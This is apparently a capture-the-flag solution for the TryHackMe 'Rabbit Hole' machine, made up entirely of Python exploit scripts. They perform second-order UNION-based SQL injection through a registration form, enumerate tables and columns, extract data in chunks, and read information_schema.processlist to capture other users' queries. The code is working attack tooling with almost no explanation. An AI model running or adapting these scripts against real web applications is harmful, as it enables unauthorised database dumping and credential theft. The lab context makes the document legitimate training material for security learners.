TryHackMe - Rabbit Hole¶

import requests
import re
from bs4 import BeautifulSoup


while True:
    username = input('\nEnter username: ')
    username = username.strip()
    if not username:
        continue

    data = {
        'username': username,
        'password': 'root',
        'submit': 'Submit+Query'
    }

    response = requests.post('http://rabbithole.thm/register.php', data=data)
    response = requests.post('http://rabbithole.thm/login.php', data=data)

    re_data = re.search(r"(SQLSTAT.*)", response.text)
    if re_data:
        print(re_data.group(1))
    else:
        soup = BeautifulSoup(response.text, 'html.parser')
        tables = soup.find_all('table')
        if len(tables)!=2:
            print('[-] Error: Expected 2 tables, found', len(tables))
            continue
        table = tables[1]
        for row in table.find_all('tr'):
            print(row.text)

import httpx
import re
import asyncio
import json
from pathlib import Path
from bs4 import BeautifulSoup

MAX_CHAR_LEN = 16


async def fetch(payload):
    print(payload)
    async with httpx.AsyncClient(timeout=20) as client:
        data = {
            'username': payload,
            'password': 'root',
            'submit': 'Submit+Query'
        }
        response = await client.post('http://rabbithole.thm/register.php', data=data)
        response = await client.post('http://rabbithole.thm/login.php', data=data, follow_redirects=True)
    return response


def parse_tables(response, payload):
    re_data = re.search(r"(SQLSTATE\[.*)", response.text)
    if re_data:
        # Print error message, payload and continue
        print(re_data.group(1), payload)
        with open('error3.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")

        return []

    soup = BeautifulSoup(response.text, 'html.parser')
    tables = soup.find_all('table')

    if len(tables) != 2:
        print('[-] Error: Expected 2 tables, found', len(tables))
        with open('error2.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
        return []

    table = tables[1]

    data = []
    for row in table.find_all('tr'):
        data.append(row.text)

    return data


async def get_len(payload):
    response = await fetch(payload)
    data = parse_tables(response, payload)
    if not data:
        return 0
    if not data[0].strip().isnumeric():
        with open('error.log', 'a', encoding='utf-8') as f:
            f.write(f"-------------\n{payload}\n{response.text}\n-----------------\n\n")
        return 0

    max_column_len = int(data[0])

    return max_column_len


async def get_coulm_data(coulum_name, table_name, db_name):
    payload = f'" UNION ALL SELECT 1, MAX(LENGTH({db_name}.{table_name}.{coulum_name})) FROM {db_name}.{table_name} -- -'
    max_column_len = await get_len(payload)
    print(f'[+] Max column length for {coulum_name} is {max_column_len}')

    datas = []
    responses = []

    for i in range(1, max_column_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) '
                   f'= 0, "empty_value", SUBSTR({db_name}.{table_name}.{coulum_name}, {i}, {MAX_CHAR_LEN})) FROM '
                   f'{db_name}.{table_name} -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def get_coulm_names(table_name, db_name):
    payload = (f'" UNION ALL SELECT 1, MAX(LENGTH(column_name)) FROM Information_schema.columns WHERE '
               f'table_name="{table_name}" and table_schema="{db_name}" -- -')
    max_coulmn_name_len = await get_len(payload)

    print(f'[+] Max column name length for {table_name} is {max_coulmn_name_len}')

    datas = []
    responses = []

    for i in range(1, max_coulmn_name_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) = 0, '
                   f'"empty_value", SUBSTR(column_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.columns '
                   f'WHERE table_name="{table_name}" and table_schema="{db_name}" -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def get_table_names(db_name):
    payload = f'" UNION ALL SELECT 1, MAX(LENGTH(table_name)) FROM Information_schema.tables WHERE table_schema="{db_name}" -- -'
    max_table_name_len = await get_len(payload)

    print(f'[+] Max table name length is {max_table_name_len}')

    datas = []
    responses = []

    for i in range(1, max_table_name_len + 1, MAX_CHAR_LEN):
        payload = (f'" UNION ALL SELECT 1,IF(LENGTH(SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) = 0, "empty_value", '
                   f'SUBSTR(table_name, {i}, {MAX_CHAR_LEN})) FROM Information_schema.tables WHERE '
                   f'table_schema="{db_name}" -- -')
        responses.append(asyncio.create_task(fetch(payload)))

    for task in responses:
        response = await task
        data = parse_tables(response, payload)
        datas.append(data)

    fixed_data = {}

    for data_table in datas:
        for idx, data in enumerate(data_table):
            if data == "empty_value":
                continue
            if idx not in fixed_data:
                fixed_data[idx] = data
            else:
                fixed_data[idx] += data

    return list(fixed_data.values())


async def main():
    db_name = 'information_schema'

    table_names = await get_table_names(db_name)
    print(table_names)

    db_data = dict.fromkeys(table_names, {})

    table_tasks = []
    for table_name in table_names:
        coulmn_tasks = asyncio.create_task(get_coulm_names(table_name, db_name))
        table_tasks.append((table_name, coulmn_tasks))

    for table_name, coulmn_task in table_tasks:
        coulmn_names = await coulmn_task
        # await get_coulm_names(table_name)
        print(coulmn_names)
        coulmns = dict.fromkeys(coulmn_names, [])
        db_data[table_name] = coulmns

        coulmn_data_tasks = []
        for coulmn_name in coulmn_names:
            coulmn_task = asyncio.create_task(get_coulm_data(coulmn_name, table_name, db_name))

            coulmn_data_tasks.append((coulmn_name, coulmn_task))

        for coulmn_name, coulmn_task in coulmn_data_tasks:
            coulmn_data = await coulmn_task
            print(coulmn_data)
            coulmns[coulmn_name] = coulmn_data
            """await get_coulm_data(coulmn_name, table_name)
            print(coulmn_data)
            coulmns[coulmn_name] = coulmn_data"""

        Path(f"{db_name}.json").write_text(json.dumps(db_data, indent=4, default=str), encoding='utf-8')


if __name__ == '__main__':
    asyncio.run(main())

import requests
import re
import asyncio
from bs4 import BeautifulSoup
import time

MAX_CHAR_LEN = 16


def main():
    payload = '"'
    for i in range(1, 200, MAX_CHAR_LEN):
        payload += (f' union ALL select 0,SUBSTR(info,{i}, {MAX_CHAR_LEN}) from information_schema.processlist'
                    f' where info not like "%info%" ')
    payload += ' -- -'

    data = {
        'username': payload,
        'password': 'root',
        'submit': 'Submit+Query'
    }

    response = requests.post('http://rabbithole.thm/register.php', data=data)
    response = requests.post('http://rabbithole.thm/login.php', data=data, allow_redirects=False)
    cookies = dict(response.cookies)
    print(payload, "\n\n")

    try:
        while True:
            response = requests.get('http://rabbithole.thm/', cookies=cookies)
            row_data = []

            soup = BeautifulSoup(response.text, 'html.parser')
            tables = soup.find_all('table')
            if len(tables) != 2:
                print('[-] Error: Expected 2 tables, found', len(tables))
                continue

            table = tables[1]
            for row in table.find_all('tr'):
                if row.text:
                    row_data.append(row.text)

            if row_data:
                print(''.join(row_data), "\n\n")

            time.sleep(0.5)
    except KeyboardInterrupt:
        print('Exiting...')
        exit(0)


if __name__ == '__main__':
    main()